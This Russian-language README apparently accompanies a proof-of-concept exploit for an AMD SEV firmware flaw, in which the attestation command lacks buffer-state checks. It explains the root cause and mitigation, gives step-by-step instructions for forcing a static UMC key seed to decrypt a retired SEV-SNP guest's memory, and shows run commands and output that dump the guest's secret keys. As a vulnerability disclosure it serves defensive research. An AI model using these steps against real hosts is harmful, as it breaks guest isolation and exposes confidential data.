Уязвимость прошивки SEV

Этот репозиторий содержит эксплойт для уязвимости в прошивке SEV. Эксплойт позволяет расшифровывать произвольную память гостя SEV-SNP после его вывода из эксплуатации.

Протестировано на версии 1.55.16 (последняя на момент написания).

Первопричина

В прошивке SEV есть таблица master_handler_table, содержащая указатели на функции для всех команд, а также несколько дополнительных свойств, относящихся к командам. Два из этих дополнительных свойств — cmd_buf_type и snp_cmd_buf_enforcement. cmd_buf_type определяет, следует ли копировать буфер команды в память хоста и/или из неё. snp_cmd_buf_enforcement определяет, должны ли эти операции копирования подвергаться проверкам, подтверждающим, что память, поддерживающая буфер команды, находится в состоянии FIRMWARE или DEFAULT. Команды, для которых cmd_buf_type имеет значение CMD_BUF_OUTPUT_ONLY, CMD_BUF_INPUT_AND_OUTPUT или CMD_BUF_INPUT_AND_OUTPUT_ERROR, должны иметь snp_cmd_buf_enforcement, установленное в true. В противном случае запись вывода команды может привести к повреждению памяти внутри области, покрываемой RMP. snp_cmd_buf_enforcement установлено в true для всех таких команд, за одним исключением — SEV_MCMD_ID_ATTESTATION: у этой команды cmd_buf_type установлено в CMD_BUF_INPUT_AND_OUTPUT_ERROR, но snp_cmd_buf_enforcement установлено в false. В результате можно выполнить SEV_MCMD_ID_ATTESTATION с буфером команды, указывающим на память, покрываемую RMP, и эта память будет повреждена после записи вывода.

Я не вижу, зачем SEV_MCMD_ID_ATTESTATION нужно было бы делать исключением; мне кажется вероятным, что это могло быть опечаткой/ошибкой копирования.

Эксплойт

SEV_MCMD_ID_ATTESTATION записывает только в одно поле length (4 байта) в буфере команды, поэтому только эти байты мы можем использовать для повреждения памяти. SEV_MCMD_ID_ATTESTATION всегда записывает одно и то же значение — 0x000000d0. К счастью, к буферу команды нет требований по выравниванию, поэтому мы можем многократно сдвигать буфер команды, чтобы повредить больший диапазон непрерывной памяти. Мы воспользуемся этим, чтобы повредить первые 16 байт страницы контекста гостя статическим шаблоном. Эти первые 16 байт содержат начальное значение UMC-ключа, и, принудительно установив его в статическое значение, мы можем заставить ключ шифрования гостя стать статическим.

Предоставленный здесь эксплойт в значительной степени основан на том, который я предоставил для SWPSIRT-2684/CVE-2023-31355.

Чтобы использовать уязвимость, можно выполнить следующие шаги:

Запустить гостя SEV или SEV-ES. Это необходимо для SEV_MCMD_ID_ATTESTATION. Оставьте этого гостя работающим.
Создать страницу контекста гостя по адресу 0x2000 для гостя-жертвы. Любой другой адрес в области, покрываемой RMP, тоже подойдет, хотя фиксированный адрес полезен для отладки.
Использовать уязвимость для повреждения начального значения UMC-ключа гостя-жертвы.
Активировать страницу контекста гостя-жертвы и запустить гостя-жертву.
Вывести гостя-жертву из эксплуатации.
Создать страницу контекста гостя по адресу 0x2000 для гостя-атакующего. Это должен быть тот же адрес, что использовался на шаге 1.
Использовать уязвимость для повреждения начального значения UMC-ключа гостя-атакующего.
Активировать страницу контекста гостя-атакующего и запустить с включенным флагом отладки.
Назначить память гостя-жертвы гостю-атакующему.
Использовать команду SNP_DBG_ENCRYPT для расшифровки памяти гостя-жертвы, используя страницу контекста гостя-атакующего. Это удастся, поскольку гость-жертва и гость-атакующий имеют одинаковое начальное значение UMC-ключа.

Влияние

Влияние здесь должно быть, по крайней мере, таким же, как и в случае SWPSIRT-2684. На данный момент мне неясно, можно ли использовать эту ошибку для расшифровки памяти работающего гостя до его вывода из эксплуатации.

Смягчение

snp_cmd_buf_enforcement должно быть установлено в true для SEV_MCMD_ID_ATTESTATION.

Интересно, что патчи поддержки хост-системы Linux KVM не нужно обновлять, поскольку они уже перечисляют SEV_CMD_ATTESTATION_REPORT в sev_cmd_buf_writable как команду, требующую, чтобы её буфер команды находился в состоянии FIRMWARE. Изменения могут потребоваться или не потребоваться для других гипервизоров.

Использование PoC

Измените область, покрываемую RMP, в BIOS на 64 ГБ (0x10000 1-МБ страниц). Если ваша система этого не поддерживает, патчи Linux придется скорректировать соответствующим образом. PoC протестирован на системе с 128 ГБ памяти.
Примените патчи из папки linux-patches к вершине ветки https://github.com/AMDESE/linux/commits/snp-host-v10. Соберите, установите и загрузите ядро.
Запустите гостя SEV или SEV-ES и оставьте его работающим.
Запустите гостя-жертву SEV-SNP.
Остановите гостя-жертву.
Проверьте журналы ядра, чтобы найти расположение страницы секретов, созданной во время запуска.
```
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[  463.851449] kvm_amd: Detected secret page at pfn 171a24
```

Запустите PoC.

root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
    Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000

Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200

Обратите внимание, что в страницах секретов нет ничего особенного; этот эксплойт также можно использовать для расшифровки обычных страниц. Страницы секретов используются в PoC, потому что они имеют очень узнаваемое содержимое, которое позволяет легко увидеть, что расшифровка памяти жертвы прошла успешно.

cve-2024-21980-poc

Популярное